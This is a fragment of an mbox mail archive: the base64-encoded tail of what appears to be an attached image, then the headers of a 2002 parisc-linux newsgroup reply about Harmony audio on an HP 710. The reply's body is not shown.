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
guDpO3cEg9eo9KSux9s570GxOpiCAa1VEs//2Q==
--------------000704090103050706070902--



From - Thu Nov 08 21:24:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: Wed, 28 Aug 2002 22:20:15 +0200 (CEST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0208282215040.28537-100000@marvin.forty.two>
References: <3D6CDF5A.5090205@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621654 12982 80.91.229.3 (22 Nov 2014 02:00:54 GMT)
